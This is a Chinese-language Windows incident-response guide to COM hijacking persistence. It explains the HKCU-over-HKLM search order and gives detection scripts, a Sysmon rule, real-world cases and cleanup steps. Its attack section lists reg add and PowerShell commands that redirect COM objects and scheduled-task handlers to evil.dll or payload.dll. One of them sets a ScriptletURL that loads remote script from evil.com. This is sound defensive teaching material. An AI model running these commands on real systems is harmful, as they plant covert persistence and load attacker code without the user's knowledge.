Windows应急响应/23-COM劫持 tags:: #Windows应急响应 #持久化 #COM劫持 #COMHijacking #Backdoor category:: 持久化与后门检测 difficulty:: 高级 platform:: Windows 7/10/11, Server 2012-2022
概述 COM (Component Object Model) 劫持是一种利用Windows COM注册机制实现持久化的技术
通过在HKCU中注册恶意COM对象,覆盖HKLM中的合法注册,无需管理员权限
MITRE ATT&CK: T1546.015 - Event Triggered Execution: Component Object Model Hijacking
隐蔽性极高: 无需创建服务、计划任务或Run Key
很多安全工具和应急人员不了解COM劫持,导致检测率低
参考: 09-注册表持久化审计 中注册表审计方法
一、COM基础知识 1.1 COM对象标识 CLSID (Class Identifier)
全局唯一标识符,格式: {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
每个COM对象都有一个唯一的CLSID
注册在: HKLM\SOFTWARE\Classes\CLSID\{...} 或 HKCU\SOFTWARE\Classes\CLSID\{...}
ProgID (Programmatic Identifier)
人类可读的名称,如 Excel.Application
映射到CLSID
AppID (Application Identifier)
用于DCOM配置
1.2 COM服务器类型 InprocServer32(进程内服务器)
DLL形式,加载到调用进程空间
注册表值: HKLM\SOFTWARE\Classes\CLSID\{...}\InprocServer32
(Default) = DLL路径
ThreadingModel = Apartment / Free / Both / Neutral
LocalServer32(本地服务器)
EXE形式,独立进程运行
注册表值: HKLM\SOFTWARE\Classes\CLSID\{...}\LocalServer32
(Default) = EXE路径
InprocHandler32
自定义处理器DLL
较少使用
1.3 COM注册表搜索顺序 Windows查找COM对象时的搜索顺序:
1 2 1 . HKCU \SOFTWARE \Classes \CLSID \{...} ← 用户级(优先)2 . HKLM \SOFTWARE \Classes \CLSID \{...} ← 系统级
关键 : HKCU优先于HKLM
这意味着普通用户(无管理员权限) 可以通过在HKCU中注册来覆盖系统级COM对象
这就是COM劫持的核心原理
二、COM劫持攻击手法 2.1 HKCU InprocServer32劫持 最基础的COM劫持——在HKCU中注册恶意DLL:
1 2 3 4 :: 劫持一个常用的COM对象 :: 例如: {B5F8350B-0548 -48 B1-A6EE-88 BD00B4A5E7} — CAccPropServicesClass reg add "HKCU\SOFTWARE\Classes\CLSID\{B5F8350B-0548 -48 B1-A6EE-88 BD00B4A5E7}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\evil.dll" /f reg add "HKCU\SOFTWARE\Classes\CLSID\{B5F8350B-0548 -48 B1-A6EE-88 BD00B4A5E7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f
PowerShell方式:
1 2 3 4 5 6 $clsid = "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}" $regPath = "HKCU:\SOFTWARE\Classes\CLSID\$clsid \InprocServer32" New-Item -Path $regPath -Force Set-ItemProperty -Path $regPath -Name "(Default)" -Value "C:\Users\Public\evil.dll" Set-ItemProperty -Path $regPath -Name "ThreadingModel" -Value "Both"
当任何程序调用CoCreateInstance创建该CLSID的实例时,会加载恶意DLL
2.2 劫持高频COM对象 选择频繁被调用的COM对象可以确保payload快速执行:
explorer.exe启动时加载的COM对象 :
1 2 3 4 {BCDE0395-E52F-467 C-8 E3D-C4579291692E} — MMDeviceEnumerator {42aedc87-2188 -41 fd-b9a3-0 c966feab5f8} — Shell automation InProcServer (MruPidlList) {C8B522CF-5 CF3-11 CE-ADE5-00 AA0044773D} — OLE DB Root Enumerator {1F486A52-3 CB1-48 FD-8 F50-B8DC300D9F9D} — MSXML
iexplore.exe / Edge / 浏览器加载的COM对象 :
1 {90C35AF4-2 F24-4 F74-9087 -4 C0EFB84A8EA} — URL Search Hook
验证COM对象是否被频繁调用:
2.3 劫持不存在/已废弃的COM对象 某些程序尝试实例化已被移除或不存在的COM对象
这些CLSID在HKLM中没有注册,攻击者可以在HKCU中注册来”填空”
发现方法:
优势: 不会影响任何合法功能,因为原始COM对象本身就不存在
已知的可劫持孤儿CLSID (Windows 10/11):
1 2 3 {AB8902B4-09 CA-4 bb6-B78D-A8F59079A8D5} — Thumbnail Cache {CF4CC405-E2C5-4 DDD-B3CE-5 E7582D8C9FA} — ShellWindows {fbeb8a05-beee-4442 -804 e-409 d6c4515e9} — Shell thumbnail cache
Windows有一些使用COM Handler的内置计划任务:
1 2 3 4 5 6 7 8 9 10 11 12 Get-ScheduledTask | ForEach-Object { $task = $_ $task .Actions | Where-Object { $_ .CimClass.CimClassName -eq 'MSFT_TaskComHandlerAction' } | ForEach-Object { [PSCustomObject ]@ { TaskName = $task .TaskName TaskPath = $task .TaskPath ClassId = $_ .ClassId Data = $_ .Data } } } | Format-Table -AutoSize
常见可劫持的计划任务COM:
1 2 3 4 5 6 7 Task : \Microsoft\Windows\Wininet\CacheTaskCLSID : {0358 B920-0 AC7-461 F-98 F4-58 E32CD89148}Task : \Microsoft\Windows\CertificateServicesClient\UserTaskCLSID : {58 FB76B9-AC85-4 E55-AC04-427593 B1D060}
劫持方法:
1 2 3 :: 劫持CacheTask的COM Handler reg add "HKCU\SOFTWARE\Classes\CLSID\{0358 B920-0 AC7-461 F-98 F4-58 E32CD89148}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\payload.dll" /f reg add "HKCU\SOFTWARE\Classes\CLSID\{0358 B920-0 AC7-461 F-98 F4-58 E32CD89148}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f
当计划任务触发时,Task Scheduler会实例化该CLSID,加载恶意DLL
2.5 TreatAs / ScriptletURL劫持 TreatAs子键 : 将一个CLSID重定向到另一个:
1 reg add "HKCU\SOFTWARE\Classes\CLSID\{LegitCLSID}\TreatAs" /ve /t REG_SZ /d "{MaliciousCLSID}" /f
ScriptletURL : 某些COM对象支持从URL加载脚本:
1 2 3 reg add "HKCU\SOFTWARE\Classes\CLSID\{TargetCLSID}\InprocServer32" /ve /t REG_SZ /d "scrobj.dll" /f reg add "HKCU\SOFTWARE\Classes\CLSID\{TargetCLSID}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f reg add "HKCU\SOFTWARE\Classes\CLSID\{TargetCLSID}\ScriptletURL" /ve /t REG_SZ /d "http://evil.com/payload.sct" /f
三、检测方法 3.1 Autoruns检查 Autoruns可以检测COM劫持:
1 2 :: 运行Autoruns命令行版本 autorunsc.exe -a * -m -s -h -c -nobanner > autoruns_all.csv
在GUI版本中,查看”Explorer”和”Scheduled Tasks”标签
重点关注: HKCU下注册的InprocServer32覆盖了HKLM中的条目
标记为”红色/黄色”的条目需要重点检查
3.2 枚举HKCU COM注册 大多数合法软件不会在HKCU下注册COM对象
HKCU\SOFTWARE\Classes\CLSID下的条目都应该被审查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $hkcuClsid = "HKCU:\SOFTWARE\Classes\CLSID" if (Test-Path $hkcuClsid ) { Get-ChildItem $hkcuClsid | ForEach-Object { $clsid = $_ .PSChildName $inproc = "$ ($_ .PSPath)\InprocServer32" $local = "$ ($_ .PSPath)\LocalServer32" $dllPath = $null $exePath = $null if (Test-Path $inproc ) { $dllPath = (Get-ItemProperty $inproc -Name "(Default)" -ErrorAction SilentlyContinue)."(Default)" } if (Test-Path $local ) { $exePath = (Get-ItemProperty $local -Name "(Default)" -ErrorAction SilentlyContinue)."(Default)" } $hklmPath = "HKLM:\SOFTWARE\Classes\CLSID\$clsid " $isOverride = Test-Path $hklmPath [PSCustomObject ]@ { CLSID = $clsid InprocServer32 = $dllPath LocalServer32 = $exePath OverridesHKLM = $isOverride } } | Format-Table -AutoSize -Wrap }
关键指标 : 如果OverridesHKLM为True,说明HKCU注册覆盖了系统注册
3.3 对比HKCU与HKLM 深入对比分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 $hkcuClsids = Get-ChildItem "HKCU:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue$hijacked = foreach ($item in $hkcuClsids ) { $clsid = $item .PSChildName $hklmKey = "HKLM:\SOFTWARE\Classes\CLSID\$clsid \InprocServer32" $hkcuKey = "HKCU:\SOFTWARE\Classes\CLSID\$clsid \InprocServer32" if ((Test-Path $hklmKey ) -and (Test-Path $hkcuKey )) { $hklmDll = (Get-ItemProperty $hklmKey -ErrorAction SilentlyContinue)."(Default)" $hkcuDll = (Get-ItemProperty $hkcuKey -ErrorAction SilentlyContinue)."(Default)" if ($hklmDll -ne $hkcuDll ) { [PSCustomObject ]@ { CLSID = $clsid HKLM_DLL = $hklmDll HKCU_DLL = $hkcuDll Status = "HIJACKED" } } } } if ($hijacked ) { Write-Host "[!] COM Hijacking Detected:" -ForegroundColor Red $hijacked | Format-Table -AutoSize -Wrap } else { Write-Host "[+] No COM hijacking detected." -ForegroundColor Green }
3.4 注册表监控 Sysmon Event ID 12/13/14监控COM注册表写入:
1 2 3 4 5 6 7 <RegistryEvent onmatch ="include" > <TargetObject condition ="contains" > \Classes\CLSID\</TargetObject > <TargetObject condition ="contains" > \InprocServer32</TargetObject > <TargetObject condition ="contains" > \LocalServer32</TargetObject > <TargetObject condition ="contains" > \TreatAs</TargetObject > <TargetObject condition ="contains" > \ScriptletURL</TargetObject > </RegistryEvent >
查询Sysmon事件:
1 2 3 4 5 6 7 Get-WinEvent -FilterHashtable @ { LogName = 'Microsoft-Windows-Sysmon/Operational' Id = 12 ,13 } | Where-Object { $_ .Message -match "\\Classes\\CLSID\\" -and $_ .Message -match "HKCU" } | Select-Object TimeCreated, Id, Message | Format-List
3.5 进程加载DLL验证 检查运行中的进程是否加载了来自HKCU COM注册的DLL:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $hkcuDlls = @ ()Get-ChildItem "HKCU:\SOFTWARE\Classes\CLSID" -Recurse -ErrorAction SilentlyContinue | Where-Object { $_ .PSChildName -eq "InprocServer32" } | ForEach-Object { $dll = (Get-ItemProperty $_ .PSPath -ErrorAction SilentlyContinue)."(Default)" if ($dll ) { $hkcuDlls += $dll .ToLower() } } if ($hkcuDlls .Count -gt 0 ) { Write-Host "HKCU COM DLLs: $ ($hkcuDlls -join ', ')" -ForegroundColor Yellow Get-Process | ForEach-Object { try { $_ .Modules | Where-Object { $hkcuDlls -contains $_ .FileName.ToLower() } | ForEach-Object { Write-Host "[!] PID $ ($proc .Id) ($ ($proc .ProcessName)) loaded: $ ($_ .FileName)" -ForegroundColor Red } } catch {} } }
四、真实案例 4.1 Fancy Bear (APT28) APT28使用COM劫持实现持久化:
1 2 CLSID: {B5F8350B-0548 -48B1 -A6EE-88BD00B4A5E7} InprocServer32: C:\Users\<user>\AppData\Roaming\Microsoft\<folder>\<payload>.dll
该CLSID在系统调用辅助功能时会被加载
每次用户会话启动都会触发
4.2 Dridex银行木马 Dridex广泛使用COM劫持:
1 2 3 # 劫持多个CLSID HKCU\SOFTWARE\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32 = C:\Users\<user>\AppData\Local\<random>.dll
每次Explorer启动时自动加载
4.3 Cobalt Strike Cobalt Strike的COM劫持模块:
1 2 3 beacon> com_hijack {CLSID} C :\payload.dll
通常选择Explorer启动时加载的COM对象
五、清除与修复 5.1 删除HKCU COM劫持条目 删除恶意COM注册:
1 2 3 4 5 6 7 8 $malClsid = "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}" reg export "HKCU\SOFTWARE\Classes\CLSID\$malClsid " "C:\IR_Evidence\com_hijack_$malClsid .reg" Remove-Item "HKCU:\SOFTWARE\Classes\CLSID\$malClsid " -Recurse -Force
批量清除所有HKCU COM劫持:
1 2 3 4 5 6 7 8 9 10 11 Get-ChildItem "HKCU:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue | ForEach-Object { $clsid = $_ .PSChildName if (Test-Path "HKLM:\SOFTWARE\Classes\CLSID\$clsid " ) { Write-Host "[*] Override found: $clsid " -ForegroundColor Yellow reg export "HKCU\SOFTWARE\Classes\CLSID\$clsid " "C:\IR_Evidence\com_$clsid .reg" /y 2 >$null Remove-Item $_ .PSPath -Recurse -Force Write-Host " [+] Removed." -ForegroundColor Green } }
5.2 删除恶意DLL 在清除注册表后,删除恶意DLL文件:
1 2 3 4 5 6 7 8 9 $malDll = "C:\Users\Public\evil.dll" Get-Process | Where-Object { $_ .Modules.FileName -contains $malDll } | Stop-Process -Force Remove-Item $malDll -Force
六、关联检查 COM劫持通常与以下内容关联:
09-注册表持久化审计 — 注册表审计基础方法
22-DLL劫持与侧加载 — 都涉及DLL加载劫持
19-计划任务后门 — COM Handler计划任务
21-WMI事件订阅后门 — WMI可以触发COM实例化
25-IFEO与AppInit-DLLs后门 — 都是注册表级别的持久化
七、应急响应Checklist [ ] 枚举 HKCU\SOFTWARE\Classes\CLSID\ 下所有条目
[ ] 检查HKCU COM注册是否覆盖了HKLM中的合法注册
[ ] 检查InprocServer32指向的DLL文件签名和Hash
[ ] 检查LocalServer32指向的EXE文件签名
[ ] 检查TreatAs和ScriptletURL子键
[ ] 使用Autoruns扫描COM劫持
[ ] 检查Sysmon注册表事件中的CLSID写入
[ ] 检查使用COM Handler的计划任务
[ ] 验证所有HKCU COM DLL是否正在被进程加载
[ ] 导出证据后清除恶意COM注册和DLL文件